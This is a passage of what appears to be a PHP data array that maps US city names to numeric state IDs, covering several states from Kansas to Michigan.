'name' => 'garden city'],\n ['state_id' => '3937', 'name' => 'great bend'],\n ['state_id' => '3937', 'name' => 'hays'],\n ['state_id' => '3937', 'name' => 'hutchinson'],\n ['state_id' => '3937', 'name' => 'independence'],\n ['state_id' => '3937', 'name' => 'junction city'],\n ['state_id' => '3937', 'name' => 'kansas city'],\n ['state_id' => '3937', 'name' => 'kingman'],\n ['state_id' => '3937', 'name' => 'lawrence'],\n ['state_id' => '3937', 'name' => 'leavenworth'],\n ['state_id' => '3937', 'name' => 'leawood'],\n ['state_id' => '3937', 'name' => 'lenexa'],\n ['state_id' => '3937', 'name' => 'liberal'],\n ['state_id' => '3937', 'name' => 'macpherson'],\n ['state_id' => '3937', 'name' => 'manhattan'],\n ['state_id' => '3937', 'name' => 'merriam'],\n ['state_id' => '3937', 'name' => 'minneapolis'],\n ['state_id' => '3937', 'name' => 'moscow'],\n ['state_id' => '3937', 'name' => 'moundridge'],\n ['state_id' => '3937', 'name' => 'nashville'],\n ['state_id' => '3937', 'name' => 'newton'],\n ['state_id' => '3937', 'name' => 'olathe'],\n ['state_id' => '3937', 'name' => 'ottawa'],\n ['state_id' => '3937', 'name' => 'overland park'],\n ['state_id' => '3937', 'name' => 'parsons'],\n ['state_id' => '3937', 'name' => 'pittsburg'],\n ['state_id' => '3937', 'name' => 'prairie village'],\n ['state_id' => '3937', 'name' => 'rose hill'],\n ['state_id' => '3937', 'name' => 'salina'],\n ['state_id' => '3937', 'name' => 'shawnee'],\n ['state_id' => '3937', 'name' => 'topeka'],\n ['state_id' => '3937', 'name' => 'wichita'],\n ['state_id' => '3937', 'name' => 'winfield'],\n ['state_id' => '3937', 'name' => 'tecumseh'],\n ['state_id' => '3938', 'name' => 'albany'],\n ['state_id' => '3938', 'name' => 'ashland'],\n ['state_id' => '3938', 'name' => 'bardstown'],\n ['state_id' => '3938', 'name' => 'berea'],\n ['state_id' => '3938', 'name' => 'bowling green'],\n ['state_id' => '3938', 'name' => 'campbellsville'],\n ['state_id' => '3938', 'name' => 'catlettsburg'],\n ['state_id' => '3938', 'name' => 'covington'],\n ['state_id' => '3938', 'name' => 'crescent springs'],\n ['state_id' => '3938', 'name' => 'danville'],\n ['state_id' => '3938', 'name' => 'dawson springs'],\n ['state_id' => '3938', 'name' => 'eastview'],\n ['state_id' => '3938', 'name' => 'eddyville'],\n ['state_id' => '3938', 'name' => 'elizabethtown'],\n ['state_id' => '3938', 'name' => 'erlanger'],\n ['state_id' => '3938', 'name' => 'evarts'],\n ['state_id' => '3938', 'name' => 'fern creek'],\n ['state_id' => '3938', 'name' => 'florence'],\n ['state_id' => '3938', 'name' => 'fort campbell north'],\n ['state_id' => '3938', 'name' => 'fort knox'],\n ['state_id' => '3938', 'name' => 'fort mitchell'],\n ['state_id' => '3938', 'name' => 'fort thomas'],\n ['state_id' => '3938', 'name' => 'frankfort'],\n ['state_id' => '3938', 'name' => 'georgetown'],\n ['state_id' => '3938', 'name' => 'glasgow'],\n ['state_id' => '3938', 'name' => 'grays knob'],\n ['state_id' => '3938', 'name' => 'henderson'],\n ['state_id' => '3938', 'name' => 'highview'],\n ['state_id' => '3938', 'name' => 'hopkinsville'],\n ['state_id' => '3938', 'name' => 'independence'],\n ['state_id' => '3938', 'name' => 'jeffersontown'],\n ['state_id' => '3938', 'name' => 'lawrenceburg'],\n ['state_id' => '3938', 'name' => 'lebanon'],\n ['state_id' => '3938', 'name' => 'lexington'],\n ['state_id' => '3938', 'name' => 'lexington-fayette'],\n ['state_id' => '3938', 'name' => 'louisville'],\n ['state_id' => '3938', 'name' => 'madisonville'],\n ['state_id' => '3938', 'name' => 'marion'],\n ['state_id' => '3938', 'name' => 'mayfield'],\n ['state_id' => '3938', 'name' => 'maysville'],\n ['state_id' => '3938', 'name' => 'middlesborough'],\n ['state_id' => '3938', 'name' => 'murray'],\n ['state_id' => '3938', 'name' => 'nebo'],\n ['state_id' => '3938', 'name' => 'newburg'],\n ['state_id' => '3938', 'name' => 'newport'],\n ['state_id' => '3938', 'name' => 'nicholasville'],\n ['state_id' => '3938', 'name' => 'okolona'],\n ['state_id' => '3938', 'name' => 'olive hill'],\n ['state_id' => '3938', 'name' => 'owensboro'],\n ['state_id' => '3938', 'name' => 'paducah'],\n ['state_id' => '3938', 'name' => 'paris'],\n ['state_id' => '3938', 'name' => 'pikeville'],\n ['state_id' => '3938', 'name' => 'pleasure ridge park'],\n ['state_id' => '3938', 'name' => 'queens'],\n ['state_id' => '3938', 'name' => 'radcliff'],\n ['state_id' => '3938', 'name' => 'richmond'],\n ['state_id' => '3938', 'name' => 'saint dennis'],\n ['state_id' => '3938', 'name' => 'saint matthews'],\n ['state_id' => '3938', 'name' => 'scottsville'],\n ['state_id' => '3938', 'name' => 'shively'],\n ['state_id' => '3938', 'name' => 'somerset'],\n ['state_id' => '3938', 'name' => 'south shore'],\n ['state_id' => '3938', 'name' => 'tollesboro'],\n ['state_id' => '3938', 'name' => 'valley station'],\n ['state_id' => '3938', 'name' => 'wallins creek'],\n ['state_id' => '3938', 'name' => 'walton'],\n ['state_id' => '3938', 'name' => 'winchester'],\n ['state_id' => '3939', 'name' => 'abbeville'],\n ['state_id' => '3939', 'name' => 'alexandria'],\n ['state_id' => '3939', 'name' => 'amite'],\n ['state_id' => '3939', 'name' => 'baker'],\n ['state_id' => '3939', 'name' => 'bastrop'],\n ['state_id' => '3939', 'name' => 'baton rouge'],\n ['state_id' => '3939', 'name' => 'bayou cane'],\n ['state_id' => '3939', 'name' => 'bogalusa'],\n ['state_id' => '3939', 'name' => 'bossier city'],\n ['state_id' => '3939', 'name' => 'broussard'],\n ['state_id' => '3939', 'name' => 'calhoun'],\n ['state_id' => '3939', 'name' => 'chalmette'],\n ['state_id' => '3939', 'name' => 'covington'],\n ['state_id' => '3939', 'name' => 'crowley'],\n ['state_id' => '3939', 'name' => 'de ridder'],\n ['state_id' => '3939', 'name' => 'delcambre'],\n ['state_id' => '3939', 'name' => 'denham springs'],\n ['state_id' => '3939', 'name' => 'estelle'],\n ['state_id' => '3939', 'name' => 'eunice'],\n ['state_id' => '3939', 'name' => 'fort polk south'],\n ['state_id' => '3939', 'name' => 'franklin'],\n ['state_id' => '3939', 'name' => 'french settlement'],\n ['state_id' => '3939', 'name' => 'garyville'],\n ['state_id' => '3939', 'name' => 'geismar'],\n ['state_id' => '3939', 'name' => 'gretna'],\n ['state_id' => '3939', 'name' => 'hammond'],\n ['state_id' => '3939', 'name' => 'harahan'],\n ['state_id' => '3939', 'name' => 'harvey'],\n ['state_id' => '3939', 'name' => 'houma'],\n ['state_id' => '3939', 'name' => 'independence'],\n ['state_id' => '3939', 'name' => 'jefferson'],\n ['state_id' => '3939', 'name' => 'jennings'],\n ['state_id' => '3939', 'name' => 'kenner'],\n ['state_id' => '3939', 'name' => 'lafayette'],\n ['state_id' => '3939', 'name' => 'lake charles'],\n ['state_id' => '3939', 'name' => 'laplace'],\n ['state_id' => '3939', 'name' => 'mandeville'],\n ['state_id' => '3939', 'name' => 'marrero'],\n ['state_id' => '3939', 'name' => 'merrydale'],\n ['state_id' => '3939', 'name' => 'metairie'],\n ['state_id' => '3939', 'name' => 'minden'],\n ['state_id' => '3939', 'name' => 'monroe'],\n ['state_id' => '3939', 'name' => 'morgan city'],\n ['state_id' => '3939', 'name' => 'natchitoches'],\n ['state_id' => '3939', 'name' => 'new iberia'],\n ['state_id' => '3939', 'name' => 'new orleans'],\n ['state_id' => '3939', 'name' => 'opelousas'],\n ['state_id' => '3939', 'name' => 'pineville'],\n ['state_id' => '3939', 'name' => 'pioneer'],\n ['state_id' => '3939', 'name' => 'prairieville'],\n ['state_id' => '3939', 'name' => 'river ridge'],\n ['state_id' => '3939', 'name' => 'ruston'],\n ['state_id' => '3939', 'name' => 'saint amant'],\n ['state_id' => '3939', 'name' => 'saint martinville'],\n ['state_id' => '3939', 'name' => 'shenandoah'],\n ['state_id' => '3939', 'name' => 'shreveport'],\n ['state_id' => '3939', 'name' => 'slidell'],\n ['state_id' => '3939', 'name' => 'sulphur'],\n ['state_id' => '3939', 'name' => 'terrytown'],\n ['state_id' => '3939', 'name' => 'thibodaux'],\n ['state_id' => '3939', 'name' => 'timberlane'],\n ['state_id' => '3939', 'name' => 'vinton'],\n ['state_id' => '3939', 'name' => 'waggaman'],\n ['state_id' => '3939', 'name' => 'west monroe'],\n ['state_id' => '3939', 'name' => 'westwego'],\n ['state_id' => '3939', 'name' => 'zachary'],\n ['state_id' => '3940', 'name' => 'manchester'],\n ['state_id' => '3940', 'name' => 'washington'],\n ['state_id' => '3941', 'name' => 'auburn'],\n ['state_id' => '3941', 'name' => 'augusta'],\n ['state_id' => '3941', 'name' => 'bangor'],\n ['state_id' => '3941', 'name' => 'bath'],\n ['state_id' => '3941', 'name' => 'biddeford'],\n ['state_id' => '3941', 'name' => 'brunswick'],\n ['state_id' => '3941', 'name' => 'cornish'],\n ['state_id' => '3941', 'name' => 'dover-foxcroft'],\n ['state_id' => '3941', 'name' => 'ellsworth'],\n ['state_id' => '3941', 'name' => 'etna'],\n ['state_id' => '3941', 'name' => 'freeport'],\n ['state_id' => '3941', 'name' => 'gorham'],\n ['state_id' => '3941', 'name' => 'greene'],\n ['state_id' => '3941', 'name' => 'harmony'],\n ['state_id' => '3941', 'name' => 'lewiston'],\n ['state_id' => '3941', 'name' => 'liberty'],\n ['state_id' => '3941', 'name' => 'limerick'],\n ['state_id' => '3941', 'name' => 'lyman'],\n ['state_id' => '3941', 'name' => 'maine'],\n ['state_id' => '3941', 'name' => 'new gloucester'],\n ['state_id' => '3941', 'name' => 'norridgewock'],\n ['state_id' => '3941', 'name' => 'north yarmouth'],\n ['state_id' => '3941', 'name' => 'old town'],\n ['state_id' => '3941', 'name' => 'orono'],\n ['state_id' => '3941', 'name' => 'portland'],\n ['state_id' => '3941', 'name' => 'presque isle'],\n ['state_id' => '3941', 'name' => 'saco'],\n ['state_id' => '3941', 'name' => 'sanford'],\n ['state_id' => '3941', 'name' => 'scarborough'],\n ['state_id' => '3941', 'name' => 'south portland'],\n ['state_id' => '3941', 'name' => 'spruce head'],\n ['state_id' => '3941', 'name' => 'thomaston'],\n ['state_id' => '3941', 'name' => 'waldoboro'],\n ['state_id' => '3941', 'name' => 'waterville'],\n ['state_id' => '3941', 'name' => 'west buxton'],\n ['state_id' => '3941', 'name' => 'westbrook'],\n ['state_id' => '3941', 'name' => 'whitefield'],\n ['state_id' => '3941', 'name' => 'windham'],\n ['state_id' => '3941', 'name' => 'yarmouth'],\n ['state_id' => '3941', 'name' => 'york harbor'],\n ['state_id' => '3941', 'name' => 'stockton springs'],\n ['state_id' => '3942', 'name' => 'aberdeen'],\n ['state_id' => '3942', 'name' => 'accokeek'],\n ['state_id' => '3942', 'name' => 'adelphi'],\n ['state_id' => '3942', 'name' => 'andrews air force base'],\n ['state_id' => '3942', 'name' => 'annapolis'],\n ['state_id' => '3942', 'name' => 'arbutus'],\n ['state_id' => '3942', 'name' => 'arnold'],\n ['state_id' => '3942', 'name' => 'aspen hill'],\n ['state_id' => '3942', 'name' => 'baltimore'],\n ['state_id' => '3942', 'name' => 'bel air north'],\n ['state_id' => '3942', 'name' => 'bel air south'],\n ['state_id' => '3942', 'name' => 'beltsville'],\n ['state_id' => '3942', 'name' => 'berlin'],\n ['state_id' => '3942', 'name' => 'bethesda'],\n ['state_id' => '3942', 'name' => 'bladensburg'],\n ['state_id' => '3942', 'name' => 'boonsboro'],\n ['state_id' => '3942', 'name' => 'bowie'],\n ['state_id' => '3942', 'name' => 'brookeville'],\n ['state_id' => '3942', 'name' => 'brooklandville'],\n ['state_id' => '3942', 'name' => 'brooklyn park'],\n ['state_id' => '3942', 'name' => 'burtonsville'],\n ['state_id' => '3942', 'name' => 'calverton'],\n ['state_id' => '3942', 'name' => 'cambridge'],\n ['state_id' => '3942', 'name' => 'camp springs'],\n ['state_id' => '3942', 'name' => 'capitol heights'],\n ['state_id' => '3942', 'name' => 'carney'],\n ['state_id' => '3942', 'name' => 'catonsville'],\n ['state_id' => '3942', 'name' => 'chestertown'],\n ['state_id' => '3942', 'name' => 'chillum'],\n ['state_id' => '3942', 'name' => 'clarksburg'],\n ['state_id' => '3942', 'name' => 'clarksville'],\n ['state_id' => '3942', 'name' => 'clinton'],\n ['state_id' => '3942', 'name' => 'cockeysville'],\n ['state_id' => '3942', 'name' => 'colesville'],\n ['state_id' => '3942', 'name' => 'college park'],\n ['state_id' => '3942', 'name' => 'columbia'],\n ['state_id' => '3942', 'name' => 'cooksville'],\n ['state_id' => '3942', 'name' => 'coral hills'],\n ['state_id' => '3942', 'name' => 'crofton'],\n ['state_id' => '3942', 'name' => 'cumberland'],\n ['state_id' => '3942', 'name' => 'damascus'],\n ['state_id' => '3942', 'name' => 'darlington'],\n ['state_id' => '3942', 'name' => 'district heights'],\n ['state_id' => '3942', 'name' => 'dundalk'],\n ['state_id' => '3942', 'name' => 'east riverdale'],\n ['state_id' => '3942', 'name' => 'easton'],\n ['state_id' => '3942', 'name' => 'edgemere'],\n ['state_id' => '3942', 'name' => 'edgewood'],\n ['state_id' => '3942', 'name' => 'eldersburg'],\n ['state_id' => '3942', 'name' => 'elkridge'],\n ['state_id' => '3942', 'name' => 'elkton'],\n ['state_id' => '3942', 'name' => 'ellicott city'],\n ['state_id' => '3942', 'name' => 'essex'],\n ['state_id' => '3942', 'name' => 'fairland'],\n ['state_id' => '3942', 'name' => 'ferndale'],\n ['state_id' => '3942', 'name' => 'forest hill'],\n ['state_id' => '3942', 'name' => 'forestville'],\n ['state_id' => '3942', 'name' => 'fort meade'],\n ['state_id' => '3942', 'name' => 'fort washington'],\n ['state_id' => '3942', 'name' => 'frederick'],\n ['state_id' => '3942', 'name' => 'fredrick'],\n ['state_id' => '3942', 'name' => 'friendly'],\n ['state_id' => '3942', 'name' => 'gaithersburg'],\n ['state_id' => '3942', 'name' => 'germantown'],\n ['state_id' => '3942', 'name' => 'glen burnie'],\n ['state_id' => '3942', 'name' => 'glenn dale'],\n ['state_id' => '3942', 'name' => 'greater landover'],\n ['state_id' => '3942', 'name' => 'greater upper marlboro'],\n ['state_id' => '3942', 'name' => 'green haven'],\n ['state_id' => '3942', 'name' => 'green valley'],\n ['state_id' => '3942', 'name' => 'greenbelt'],\n ['state_id' => '3942', 'name' => 'hagerstown'],\n ['state_id' => '3942', 'name' => 'hanover'],\n ['state_id' => '3942', 'name' => 'harmans'],\n ['state_id' => '3942', 'name' => 'havre de grace'],\n ['state_id' => '3942', 'name' => 'hillandale'],\n ['state_id' => '3942', 'name' => 'hillcrest heights'],\n ['state_id' => '3942', 'name' => 'hunt valley'],\n ['state_id' => '3942', 'name' => 'hurlock'],\n ['state_id' => '3942', 'name' => 'hyattsville'],\n ['state_id' => '3942', 'name' => 'ijamsville'],\n ['state_id' => '3942', 'name' => 'jefferson'],\n ['state_id' => '3942', 'name' => 'jessup'],\n ['state_id' => '3942', 'name' => 'joppatowne'],\n ['state_id' => '3942', 'name' => 'kettering'],\n ['state_id' => '3942', 'name' => 'lake shore'],\n ['state_id' => '3942', 'name' => 'langley park'],\n ['state_id' => '3942', 'name' => 'lanham'],\n ['state_id' => '3942', 'name' => 'lanham-seabrook'],\n ['state_id' => '3942', 'name' => 'lansdowne-baltimore highlands'],\n ['state_id' => '3942', 'name' => 'largo'],\n ['state_id' => '3942', 'name' => 'laurel'],\n ['state_id' => '3942', 'name' => 'lexington park'],\n ['state_id' => '3942', 'name' => 'lochearn'],\n ['state_id' => '3942', 'name' => 'lutherville-timonium'],\n ['state_id' => '3942', 'name' => 'marriottsville'],\n ['state_id' => '3942', 'name' => 'maryland city'],\n ['state_id' => '3942', 'name' => 'mays chapel'],\n ['state_id' => '3942', 'name' => 'middle river'],\n ['state_id' => '3942', 'name' => 'milford mill'],\n ['state_id' => '3942', 'name' => 'millersville'],\n ['state_id' => '3942', 'name' => 'mitchellville'],\n ['state_id' => '3942', 'name' => 'montgomery village'],\n ['state_id' => '3942', 'name' => 'national harbor'],\n ['state_id' => '3942', 'name' => 'new carrollton'],\n ['state_id' => '3942', 'name' => 'north bethesda'],\n ['state_id' => '3942', 'name' => 'north laurel'],\n ['state_id' => '3942', 'name' => 'north potomac'],\n ['state_id' => '3942', 'name' => 'odenton'],\n ['state_id' => '3942', 'name' => 'olney'],\n ['state_id' => '3942', 'name' => 'overlea'],\n ['state_id' => '3942', 'name' => 'owings mills'],\n ['state_id' => '3942', 'name' => 'oxon hill-glassmanor'],\n ['state_id' => '3942', 'name' => 'parkville'],\n ['state_id' => '3942', 'name' => 'parole'],\n ['state_id' => '3942', 'name' => 'pasadena'],\n ['state_id' => '3942', 'name' => 'perry hall'],\n ['state_id' => '3942', 'name' => 'pikesville'],\n ['state_id' => '3942', 'name' => 'poolesville'],\n ['state_id' => '3942', 'name' => 'potomac'],\n ['state_id' => '3942', 'name' => 'randallstown'],\n ['state_id' => '3942', 'name' => 'redland'],\n ['state_id' => '3942', 'name' => 'reisterstown'],\n ['state_id' => '3942', 'name' => 'riviera beach'],\n ['state_id' => '3942', 'name' => 'rockville'],\n ['state_id' => '3942', 'name' => 'rosaryville'],\n ['state_id' => '3942', 'name' => 'rosedale'],\n ['state_id' => '3942', 'name' => 'rossville'],\n ['state_id' => '3942', 'name' => 'saint charles'],\n ['state_id' => '3942', 'name' => 'salisbury'],\n ['state_id' => '3942', 'name' => 'sandy spring'],\n ['state_id' => '3942', 'name' => 'savage guilford'],\n ['state_id' => '3942', 'name' => 'severn'],\n ['state_id' => '3942', 'name' => 'severna park'],\n ['state_id' => '3942', 'name' => 'silver spring'],\n ['state_id' => '3942', 'name' => 'snow hill'],\n ['state_id' => '3942', 'name' => 'south gate'],\n ['state_id' => '3942', 'name' => 'south laurel'],\n ['state_id' => '3942', 'name' => 'suitland-silver hill'],\n ['state_id' => '3942', 'name' => 'takoma park'],\n ['state_id' => '3942', 'name' => 'temple hill'],\n ['state_id' => '3942', 'name' => 'thurmont'],\n ['state_id' => '3942', 'name' => 'timonium'],\n ['state_id' => '3942', 'name' => 'towson'],\n ['state_id' => '3942', 'name' => 'upper marlboro'],\n ['state_id' => '3942', 'name' => 'waldorf'],\n ['state_id' => '3942', 'name' => 'walker mill'],\n ['state_id' => '3942', 'name' => 'washington grove'],\n ['state_id' => '3942', 'name' => 'westminster'],\n ['state_id' => '3942', 'name' => 'wheaton-glenmont'],\n ['state_id' => '3942', 'name' => 'white oak'],\n ['state_id' => '3942', 'name' => 'windsor mill'],\n ['state_id' => '3942', 'name' => 'woodlawn'],\n ['state_id' => '3943', 'name' => 'abington'],\n ['state_id' => '3943', 'name' => 'acton'],\n ['state_id' => '3943', 'name' => 'agawam'],\n ['state_id' => '3943', 'name' => 'amesbury'],\n ['state_id' => '3943', 'name' => 'amherst center'],\n ['state_id' => '3943', 'name' => 'arlington'],\n ['state_id' => '3943', 'name' => 'ashland'],\n ['state_id' => '3943', 'name' => 'athol'],\n ['state_id' => '3943', 'name' => 'attleboro'],\n ['state_id' => '3943', 'name' => 'barnstable town'],\n ['state_id' => '3943', 'name' => 'baxboro'],\n ['state_id' => '3943', 'name' => 'becket'],\n ['state_id' => '3943', 'name' => 'bedford'],\n ['state_id' => '3943', 'name' => 'belmont'],\n ['state_id' => '3943', 'name' => 'beverly'],\n ['state_id' => '3943', 'name' => 'billerica'],\n ['state_id' => '3943', 'name' => 'boston'],\n ['state_id' => '3943', 'name' => 'boylston'],\n ['state_id' => '3943', 'name' => 'braintree'],\n ['state_id' => '3943', 'name' => 'brockton'],\n ['state_id' => '3943', 'name' => 'brookfield'],\n ['state_id' => '3943', 'name' => 'brookline'],\n ['state_id' => '3943', 'name' => 'burlington'],\n ['state_id' => '3943', 'name' => 'cambridge'],\n ['state_id' => '3943', 'name' => 'canton'],\n ['state_id' => '3943', 'name' => 'charlestown'],\n ['state_id' => '3943', 'name' => 'chelmsford'],\n ['state_id' => '3943', 'name' => 'chelsea'],\n ['state_id' => '3943', 'name' => 'chicopee'],\n ['state_id' => '3943', 'name' => 'clinton'],\n ['state_id' => '3943', 'name' => 'concord'],\n ['state_id' => '3943', 'name' => 'danvers'],\n ['state_id' => '3943', 'name' => 'dedham'],\n ['state_id' => '3943', 'name' => 'devens'],\n ['state_id' => '3943', 'name' => 'devenscrest'],\n ['state_id' => '3943', 'name' => 'duxbury'],\n ['state_id' => '3943', 'name' => 'easthampton'],\n ['state_id' => '3943', 'name' => 'everett'],\n ['state_id' => '3943', 'name' => 'fairhaven'],\n ['state_id' => '3943', 'name' => 'fall river'],\n ['state_id' => '3943', 'name' => 'fitchburg'],\n ['state_id' => '3943', 'name' => 'florence'],\n ['state_id' => '3943', 'name' => 'framingham'],\n ['state_id' => '3943', 'name' => 'franklin'],\n ['state_id' => '3943', 'name' => 'gardner'],\n ['state_id' => '3943', 'name' => 'gloucester'],\n ['state_id' => '3943', 'name' => 'great barrington'],\n ['state_id' => '3943', 'name' => 'greenfield'],\n ['state_id' => '3943', 'name' => 'groton'],\n ['state_id' => '3943', 'name' => 'hadley'],\n ['state_id' => '3943', 'name' => 'harvard'],\n ['state_id' => '3943', 'name' => 'haverhill'],\n ['state_id' => '3943', 'name' => 'hingham'],\n ['state_id' => '3943', 'name' => 'holbrook'],\n ['state_id' => '3943', 'name' => 'holliston'],\n ['state_id' => '3943', 'name' => 'holyoke'],\n ['state_id' => '3943', 'name' => 'hopedale'],\n ['state_id' => '3943', 'name' => 'housatonic'],\n ['state_id' => '3943', 'name' => 'hubbardston'],\n ['state_id' => '3943', 'name' => 'hudson'],\n ['state_id' => '3943', 'name' => 'hull'],\n ['state_id' => '3943', 'name' => 'hyannis'],\n ['state_id' => '3943', 'name' => 'ipswich'],\n ['state_id' => '3943', 'name' => 'jamaica plain'],\n ['state_id' => '3943', 'name' => 'lawrence'],\n ['state_id' => '3943', 'name' => 'lee'],\n ['state_id' => '3943', 'name' => 'lenox'],\n ['state_id' => '3943', 'name' => 'leominster'],\n ['state_id' => '3943', 'name' => 'lexington'],\n ['state_id' => '3943', 'name' => 'longmeadow'],\n ['state_id' => '3943', 'name' => 'lowell'],\n ['state_id' => '3943', 'name' => 'lynn'],\n ['state_id' => '3943', 'name' => 'lynnfield'],\n ['state_id' => '3943', 'name' => 'malden'],\n ['state_id' => '3943', 'name' => 'manchester'],\n ['state_id' => '3943', 'name' => 'marblehead'],\n ['state_id' => '3943', 'name' => 'marion'],\n ['state_id' => '3943', 'name' => 'marlborough'],\n ['state_id' => '3943', 'name' => 'marshfield'],\n ['state_id' => '3943', 'name' => 'massachusetts'],\n ['state_id' => '3943', 'name' => 'maynard'],\n ['state_id' => '3943', 'name' => 'medfield'],\n ['state_id' => '3943', 'name' => 'medford'],\n ['state_id' => '3943', 'name' => 'medway'],\n ['state_id' => '3943', 'name' => 'melrose'],\n ['state_id' => '3943', 'name' => 'methuen'],\n ['state_id' => '3943', 'name' => 'middleboro'],\n ['state_id' => '3943', 'name' => 'milford'],\n ['state_id' => '3943', 'name' => 'milton'],\n ['state_id' => '3943', 'name' => 'monson'],\n ['state_id' => '3943', 'name' => 'montague'],\n ['state_id' => '3943', 'name' => 'nantucket'],\n ['state_id' => '3943', 'name' => 'natick'],\n ['state_id' => '3943', 'name' => 'needham'],\n ['state_id' => '3943', 'name' => 'new bedford'],\n ['state_id' => '3943', 'name' => 'newburyport'],\n ['state_id' => '3943', 'name' => 'newton'],\n ['state_id' => '3943', 'name' => 'north adams'],\n ['state_id' => '3943', 'name' => 'north andover'],\n ['state_id' => '3943', 'name' => 'north attleborough center'],\n ['state_id' => '3943', 'name' => 'north easton'],\n ['state_id' => '3943', 'name' => 'northampton'],\n ['state_id' => '3943', 'name' => 'northborough'],\n ['state_id' => '3943', 'name' => 'norwood'],\n ['state_id' => '3943', 'name' => 'orleans'],\n ['state_id' => '3943', 'name' => 'peabody'],\n ['state_id' => '3943', 'name' => 'pepperell'],\n ['state_id' => '3943', 'name' => 'pittsfield'],\n ['state_id' => '3943', 'name' => 'plainfield'],\n ['state_id' => '3943', 'name' => 'plymouth'],\n ['state_id' => '3943', 'name' => 'provincetown'],\n ['state_id' => '3943', 'name' => 'quincy'],\n ['state_id' => '3943', 'name' => 'randolph'],\n ['state_id' => '3943', 'name' => 'reading'],\n ['state_id' => '3943', 'name' => 'rehoboth'],\n ['state_id' => '3943', 'name' => 'revere'],\n ['state_id' => '3943', 'name' => 'rockland'],\n ['state_id' => '3943', 'name' => 'rockport'],\n ['state_id' => '3943', 'name' => 'roslindale'],\n ['state_id' => '3943', 'name' => 'salem'],\n ['state_id' => '3943', 'name' => 'saugus'],\n ['state_id' => '3943', 'name' => 'scituate'],\n ['state_id' => '3943', 'name' => 'seekonk'],\n ['state_id' => '3943', 'name' => 'shelburne falls'],\n ['state_id' => '3943', 'name' => 'sherborn'],\n ['state_id' => '3943', 'name' => 'shrewsbury'],\n ['state_id' => '3943', 'name' => 'somerset'],\n ['state_id' => '3943', 'name' => 'somerville'],\n ['state_id' => '3943', 'name' => 'south boston'],\n ['state_id' => '3943', 'name' => 'south deerfield'],\n ['state_id' => '3943', 'name' => 'south hadley'],\n ['state_id' => '3943', 'name' => 'south lee'],\n ['state_id' => '3943', 'name' => 'south yarmouth'],\n ['state_id' => '3943', 'name' => 'southborough'],\n ['state_id' => '3943', 'name' => 'southbridge'],\n ['state_id' => '3943', 'name' => 'southwick'],\n ['state_id' => '3943', 'name' => 'springfield'],\n ['state_id' => '3943', 'name' => 'stoneham'],\n ['state_id' => '3943', 'name' => 'sturbridge'],\n ['state_id' => '3943', 'name' => 'swampscott'],\n ['state_id' => '3943', 'name' => 'swansea'],\n ['state_id' => '3943', 'name' => 'taunton'],\n ['state_id' => '3943', 'name' => 'tewksbury'],\n ['state_id' => '3943', 'name' => 'three rivers'],\n ['state_id' => '3943', 'name' => 'truro'],\n ['state_id' => '3943', 'name' => 'upton'],\n ['state_id' => '3943', 'name' => 'vineyard haven'],\n ['state_id' => '3943', 'name' => 'wakefield'],\n ['state_id' => '3943', 'name' => 'waltham'],\n ['state_id' => '3943', 'name' => 'ware'],\n ['state_id' => '3943', 'name' => 'wareham'],\n ['state_id' => '3943', 'name' => 'watertown'],\n ['state_id' => '3943', 'name' => 'wayland'],\n ['state_id' => '3943', 'name' => 'webster'],\n ['state_id' => '3943', 'name' => 'wellesley'],\n ['state_id' => '3943', 'name' => 'wellesley hills'],\n ['state_id' => '3943', 'name' => 'west concord'],\n ['state_id' => '3943', 'name' => 'west roxbury'],\n ['state_id' => '3943', 'name' => 'west springfield'],\n ['state_id' => '3943', 'name' => 'west yarmouth'],\n ['state_id' => '3943', 'name' => 'westborough'],\n ['state_id' => '3943', 'name' => 'westfield'],\n ['state_id' => '3943', 'name' => 'westford'],\n ['state_id' => '3943', 'name' => 'weston'],\n ['state_id' => '3943', 'name' => 'weymouth'],\n ['state_id' => '3943', 'name' => 'wilbraham'],\n ['state_id' => '3943', 'name' => 'wilmington'],\n ['state_id' => '3943', 'name' => 'winchester'],\n ['state_id' => '3943', 'name' => 'winthrop'],\n ['state_id' => '3943', 'name' => 'woburn'],\n ['state_id' => '3943', 'name' => 'worcester'],\n ['state_id' => '3943', 'name' => 'yarmouthport'],\n ['state_id' => '3945', 'name' => 'adrian'],\n ['state_id' => '3945', 'name' => 'albion'],\n ['state_id' => '3945', 'name' => 'allegan'],\n ['state_id' => '3945', 'name' => 'allen park'],\n ['state_id' => '3945', 'name' => 'alma'],\n ['state_id' => '3945', 'name' => 'alpena'],\n ['state_id' => '3945', 'name' => 'ann arbor'],\n ['state_id' => '3945', 'name' => 'attica'],\n ['state_id' => '3945', 'name' => 'auburn hills'],\n ['state_id' => '3945', 'name' => 'battle creek'],\n ['state_id' => '3945', 'name' => 'bay city'],\n ['state_id' => '3945', 'name' => 'beecher'],\n ['state_id' => '3945', 'name' => 'belleville'],\n ['state_id' => '3945', 'name' => 'benton harbor'],\n ['state_id' => '3945', 'name' => 'berkley'],\n ['state_id' => '3945', 'name' => 'beverly hills'],\n ['state_id' => '3945', 'name' => 'big rapids'],\n ['state_id' => '3945', 'name' => 'birmingham'],\n ['state_id' => '3945', 'name' => 'bloomfield hills'],\n ['state_id' => '3945', 'name' => 'bloomfield township'],\n ['state_id' => '3945', 'name' => 'boyne city'],\n ['state_id' => '3945', 'name' => 'brighton'],\n ['state_id' => '3945', 'name' => 'burt'],\n ['state_id' => '3945', 'name' => 'burton'],\n ['state_id' => '3945', 'name' => 'cadillac'],\n ['state_id' => '3945', 'name' => 'canton'],\n ['state_id' => '3945', 'name' => 'charlotte'],\n ['state_id' => '3945', 'name' => 'chesterfield'],\n ['state_id' => '3945', 'name' => 'clarkston'],\n ['state_id' => '3945', 'name' => 'clawson'],\n ['state_id' => '3945', 'name' => 'clinton'],\n ['state_id' => '3945', 'name' => 'commerce'],\n ['state_id' => '3945', 'name' => 'comstock park'],\n ['state_id' => '3945', 'name' => 'coopersville'],\n ['state_id' => '3945', 'name' => 'cornell'],\n ['state_id' => '3945', 'name' => 'cutlerville'],\n ['state_id' => '3945', 'name' => 'davisburg'],\n ['state_id' => '3945', 'name' => 'dearborn'],\n ['state_id' => '3945', 'name' => 'dearborn heights'],\n ['state_id' => '3945', 'name' => 'delton'],\n ['state_id' => '3945', 'name' => 'detroit'],\n ['state_id' => '3945', 'name' => 'dexter'],\n ['state_id' => '3945', 'name' => 'dowagiac'],\n ['state_id' => '3945', 'name' => 'east grand rapids'],\n ['state_id' => '3945', 'name' => 'east lansing'],\n ['state_id' => '3945', 'name' => 'eastpointe'],\n ['state_id' => '3945', 'name' => 'ecorse'],\n ['state_id' => '3945', 'name' => 'escanaba'],\n ['state_id' => '3945', 'name' => 